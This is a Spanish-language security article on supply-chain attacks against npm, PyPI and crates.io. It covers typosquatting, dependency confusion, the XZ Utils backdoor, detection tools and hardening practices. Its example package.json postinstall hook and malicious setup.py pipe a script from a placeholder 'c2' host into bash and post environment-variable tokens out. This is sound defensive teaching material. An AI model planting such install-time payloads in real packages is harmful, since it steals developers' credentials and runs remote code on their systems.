IntermedioLinuxsupply chainnpmpipcargoseguridad

Supply Chain en Paquetes Linux: npm, pip y cargo como Vectores de Ataque

Análisis de ataques supply chain en ecosistemas de paquetes. Typosquatting en npm/pip/cargo, dependency confusion, paquetes maliciosos con cryptominers y stealers, herramientas de detección (Socket, Snyk, npm audit) y buenas prácticas.

MalwareIntel Research··7 min lectura
Serie: Malware en Linux — Parte 13

Tu npm install puede ser un vector de ataque

Cada vez que un desarrollador ejecuta pip install, npm install o cargo add, confía en que el paquete descargado es legítimo y seguro. Esta confianza es el eslabón débil de la cadena de suministro de software.

Los registries públicos (npm, PyPI, crates.io, RubyGems) permiten a cualquiera publicar paquetes. No hay revisión humana, no hay auditoría de código, no hay verificación de identidad significativa. Un atacante puede publicar un paquete malicioso en minutos.

Técnicas de ataque

Typosquatting

Publicar paquetes con nombres que son errores tipográficos comunes de paquetes populares:

Paquete legítimoPaquete malicioso (ejemplos)Ecosystem
requestsrequets, reqeusts, requestPyPI
lodashlodash-utils, lod-ash, 1odashnpm
colorscolour, colorsjsnpm
beautifulsoup4beautifulsoup, beutifulsoup4PyPI
tensorflowtesnorflow, tensorflow-gpu-2PyPI
serdeserde_json_core (nombre confuso)crates.io

Dependency confusion

Descubierto por Alex Birsan (2021), que ganó $130.000+ en bug bounties:

Empresa Acme usa un paquete interno: @acme/utils (version 1.0)
Registro interno: registry.acme.com

Atacante publica en npm publico: acme-utils (version 99.0)

Cuando el CI/CD de Acme ejecuta npm install:
  npm busca en npm publico: acme-utils v99.0 (existe, version mayor)
  npm busca en registry interno: @acme/utils v1.0
  npm instala v99.0 del publico (version mayor gana)
  → Codigo malicioso ejecutado en CI/CD de Acme

Birsan comprometió con éxito builds de Apple, Microsoft, PayPal, Shopify, Netflix y Yelp con esta técnica.

Compromiso de paquete legítimo

MétodoEjemplo real
Account takeoverua-parser-js (npm, 2021): cuenta del mantenedor comprometida, cryptominer inyectado. 8M descargas/semana
Mantenedor maliciosocolors.js + faker.js (npm, 2022): el mantenedor introdujo código destructivo intencionalmente (protesta)
Protestwarenode-ipc (npm, 2022): mantenedor añadió código que borraba archivos en sistemas con IP rusa/bielorrusa
Build pipelineCodecov (2021): script de CI comprometido que exfiltraba variables de entorno (tokens, credenciales)
XZ Utils backdoorxz-utils 5.6.0-5.6.1 (2024): backdoor sofisticado insertado por mantenedor infiltrado que comprometía sshd via liblzma

XZ Utils: el ataque más sofisticado

El caso XZ Utils (marzo 2024) merece mención especial por su sofisticación:

  1. Un individuo ("Jia Tan") contribuyó al proyecto xz durante 2 años, ganando confianza
  2. Eventualmente obtuvo acceso de mantenedor
  3. Insertó un backdoor en el proceso de build (no en el código fuente visible en el repositorio)
  4. El backdoor modificaba liblzma para interceptar autenticación SSH
  5. Descubierto por Andres Freund (Microsoft) porque notó que sshd tardaba 0.5 segundos más en conectar
  6. Afectaba a distribuciones rolling-release (Fedora, Debian testing)

Payloads comunes en paquetes maliciosos

Lifecycle scripts

npm permite ejecutar scripts en diferentes fases de la instalación:

{
  "scripts": {
    "preinstall": "node malicious.js",
    "postinstall": "curl http://c2/steal.sh | bash",
    "install": "python setup.py"
  }
}

preinstall y postinstall se ejecutan automáticamente durante npm install. El código malicioso se ejecuta sin que el desarrollador lo sepa.

setup.py en PyPI

# setup.py malicioso
from setuptools import setup
import os

# Ejecutar payload durante la instalacion
os.system("curl -sL http://c2/payload.sh | bash")

# O robar tokens/credenciales
import subprocess
tokens = subprocess.check_output("env", shell=True)
requests.post("http://c2/exfil", data=tokens)

setup(
    name="requets",  # typosquatting de "requests"
    version="2.28.1",
    # ... resto de metadata normal
)

Tipos de payload

PayloadPrevalenciaEjemplo
Credential stealerMuy altaLeer variables de entorno (API keys, tokens AWS/GitHub)
CryptominerAltaInstalar XMRig
Reverse shellAltaBackdoor para acceso remoto
Data exfiltrationAltaEnviar .npmrc, .env, .git/config al C2
RansomwareBajaCifrar archivos del proyecto
SSH key injectionMediaAñadir authorized_keys

Detección y herramientas

Herramientas de SCA (Software Composition Analysis)

HerramientaEcosistemaTipoQué detecta
npm auditnpmBuilt-inVulnerabilidades conocidas en dependencias
pip-auditPyPIOpen sourceVulnerabilidades conocidas
cargo-auditcrates.ioOpen sourceVulnerabilidades conocidas
Socket (socket.dev)npm, PyPIComercial/freePaquetes maliciosos, supply chain risks, behavior analysis
SnykMultiComercial/freeVulnerabilidades + malware en dependencias
Dependabot (GitHub)MultiFreeUpdates de seguridad automáticos
RenovateMultiOpen sourceGestión de dependencias con security checks
PhylumMultiComercialAnálisis de riesgo de paquetes
OSSIndex (Sonatype)MultiFreeBase de datos de vulnerabilidades

npm: buenas prácticas

# Usar lockfile SIEMPRE
npm ci                    # Instalar desde lockfile (no modifica)
# NO usar npm install en CI/CD (puede modificar lockfile)

# Auditar dependencias
npm audit
npm audit --production    # Solo dependencias de produccion

# Verificar firmas de paquetes (npm 9+)
npm audit signatures

# Deshabilitar lifecycle scripts de dependencias
npm install --ignore-scripts
# Luego ejecutar scripts solo de paquetes confiados

# Verificar un paquete antes de instalar
npm info [package] | grep -E '(name|version|author|homepage)'

PyPI: buenas prácticas

# Usar requirements.txt con hashes
pip install --require-hashes -r requirements.txt

# requirements.txt con hashes:
requests==2.31.0 --hash=sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003e

# Auditar
pip-audit

# Verificar paquete antes de instalar
pip show [package]
pip download [package] --no-deps  # Descargar sin instalar

Buenas prácticas generales

PrácticaDescripción
LockfilesSiempre usar y commitear lockfiles (package-lock.json, Pipfile.lock, Cargo.lock)
Pinear versionesVersiones exactas en producción (== no >=)
Auditar regularmentenpm audit, pip-audit, cargo-audit en CI/CD
Registry privadoUsar Artifactory, Nexus o Verdaccio como proxy con cache y filtrado
Ignore scriptsDeshabilitar lifecycle scripts en CI/CD cuando sea posible
Verify before installRevisar paquetes nuevos antes de añadirlos al proyecto
SBOMGenerar y mantener Software Bill of Materials
Dependabot/RenovateUpdates automáticos con revisión humana
Scoped packagesEn npm: usar @org/package para evitar squatting
Two-factor authHabilitar 2FA en cuentas de maintainers de paquetes

Mapeo MITRE ATT&CK

TécnicaIDContexto supply chain
Supply Chain Compromise: Compromise Software DependenciesT1195.001Paquetes maliciosos en npm/pip
Supply Chain Compromise: Compromise Software Supply ChainT1195.002Compromiso de build pipeline
Trusted RelationshipT1199Dependency confusion
Execution: Command and Scripting InterpreterT1059Lifecycle scripts (postinstall)
Credential Access: Unsecured CredentialsT1552Robo de tokens/API keys de env vars

Fuentes y referencias

  • Birsan, A. "Dependency Confusion: How I Hacked Into Apple, Microsoft and Others." 2021.
  • Socket. "2024 State of Open Source Security." socket.dev.
  • Freund, A. "xz/liblzma backdoor: CVE-2024-3094." oss-security mailing list, March 2024.
  • npm. "npm audit documentation." npm Docs.
  • Phylum. "State of Software Supply Chain Security 2024." Phylum Research.
  • MITRE ATT&CK. "Supply Chain Compromise (T1195)." https://attack.mitre.org/techniques/T1195/
  • OpenSSF. "Scorecard: Security Health Metrics for Open Source." https://securityscorecards.dev/
  • Snyk. "State of Open Source Security 2024." Snyk.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.